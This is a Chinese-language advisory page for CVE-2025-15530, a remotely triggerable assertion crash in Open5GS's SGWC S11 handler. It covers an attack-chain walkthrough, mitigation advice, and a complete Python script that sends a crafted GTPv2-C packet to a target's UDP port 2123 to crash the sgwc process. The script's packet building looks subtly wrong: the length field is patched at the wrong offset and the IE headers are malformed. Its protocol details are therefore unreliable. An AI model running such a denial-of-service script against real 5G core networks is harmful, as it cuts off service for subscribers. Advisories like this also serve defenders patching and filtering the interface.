IPBUF安全漏洞报告
English
CVE-2025-15530 CVSS 5.3 中危

CVE-2025-15530 Open5GS sgwc_s11断言拒绝服务漏洞

披露日期: 2026-01-17

漏洞信息

漏洞编号
CVE-2025-15530
漏洞类型
可达断言/拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

CVE-2025-15530Open5GS5G核心网SGWC拒绝服务可达断言GTPv2-CS11接口中危漏洞

漏洞概述

CVE-2025-15530是Open5GS中一个中等严重程度的拒绝服务漏洞。Open5GS是一个开源的5G核心网络实现软件,广泛应用于5G网络研究和部署场景。该漏洞位于SGWC(Serving Gateway Control plane)组件的S11接口处理模块中,具体影响sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request函数。攻击者可以通过构造恶意的间接数据转发隧道创建请求来触发该函数中的断言条件,导致服务进程异常终止。由于该漏洞可通过网络远程触发,且无需任何认证或用户交互,因此具有较高的可利用性。CVSS 3.1评分5.3(中等),主要影响系统的可用性。漏洞已于2026年1月17日公开披露,目前已知已在Open5GS 2.7.7版本中修复。建议使用Open5GS部署5G网络的用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞发生在Open5GS的SGWC组件处理S11接口消息的过程中。S11接口是SGW(Serving Gateway)与MME(Mobility Management Entity)之间的控制面接口,负责处理诸如创建会话、修改会话和删除会话等信令流程。漏洞函数sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request负责处理间接数据转发隧道创建请求,该功能用于支持用户面的隧道切换操作。攻击者可以构造一个畸形或恶意的Create Indirect Data Forwarding Tunnel Request消息,在消息中包含异常参数或不符合协议规范的数据结构。当这个消息被处理时,会触发函数中的断言失败(assertion failure),导致Open5GS的sgwc进程崩溃。由于5G核心网中各组件高度依赖SGW的服务,sgwc进程的终止将导致该网元服务的完全中断,影响所有经过该SGW的用户设备连接。攻击者可以通过持续发送恶意请求来实现对服务的持续拒绝服务效果。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标Open5GS部署,获取SGWC组件的IP地址和S11接口端口(默认2123/UDP)
STEP 2
步骤2
构造恶意请求:攻击者构造一个畸形的Create Indirect Data Forwarding Tunnel Request消息,在Bearer Context IE中包含异常参数
STEP 3
步骤3
发送攻击载荷:通过UDP协议将恶意GTPv2-C消息发送到目标的S11接口,无需任何认证
STEP 4
步骤4
触发漏洞:恶意消息被sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request函数处理,触发断言失败
STEP 5
步骤5
服务中断:sgwc进程崩溃,导致该SGW节点服务中断,所有经过该节点的用户连接受影响
STEP 6
步骤6
持续攻击:攻击者可重复发送恶意请求,实现对服务的持续拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15530 PoC - Open5GS SGWC S11 Assertion Failure DoS This PoC demonstrates sending a malformed Create Indirect Data Forwarding Tunnel Request to trigger assertion failure in sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request Note: This is for educational and authorized testing purposes only. """ import socket import struct import sys def create_gtpv2c_header(msg_type, teid=0, seq=0x123456): """Create GTPv2-C header""" version_flags = 0x40 # Version 2, no TEID flag for initial message message_type = msg_type length = 0 # Will be updated teid = teid sequence = seq spare = 0 header = struct.pack('!BBHI', version_flags, message_type, length, teid) header += struct.pack('!I', (sequence << 8) | spare) return header def create_fteid(teid, ipv4, ipv6=None): """Create F-TEID IE (Forwarding Tunnel Endpoint Identifier)""" ie_type = 0x57 # F-TEID if ipv6: flags = 0xC0 # IPv4 and IPv6 present data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4) + socket.inet_pton(socket.AF_INET6, ipv6) else: flags = 0x80 # IPv4 present only data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4) length = len(data) return struct.pack('!H', ie_type) + struct.pack('!H', length) + data def create_malformed_indirect_tunnel_request(): """Create malformed Create Indirect Data Forwarding Tunnel Request""" msg_type = 0x9D # Create Indirect Data Forwarding Tunnel Request header = create_gtpv2c_header(msg_type, teid=0) # Create bearer context IE with malformed data bearer_ie_type = 0x5D bearer_data = create_fteid(0x12345678, '10.0.0.1') bearer_data += struct.pack('!BBB', 0x00, 0x00, 0x01) # Malformed data to trigger assertion bearer_ie = struct.pack('!H', bearer_ie_type) + struct.pack('!H', len(bearer_data)) + bearer_data # Sequence and length update body = bearer_ie header = header[:4] + struct.pack('!H', len(body)) + header[6:] return header + body def send_exploit(target_ip, target_port=2123): """Send exploit to target""" payload = create_malformed_indirect_tunnel_request() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: print(f"[*] Sending malformed Create Indirect Data Forwarding Tunnel Request to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Exploit packet sent successfully") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port=2123]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2123 send_exploit(target, port)

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
临时缓解措施:在网络边界部署访问控制列表(ACL),限制对Open5GS S11接口(UDP 2123端口)的访问,只允许可信的MME IP地址通信。同时配置进程监控,当sgwc服务异常终止时自动重启并告警。建议尽快完成版本升级以根本消除漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表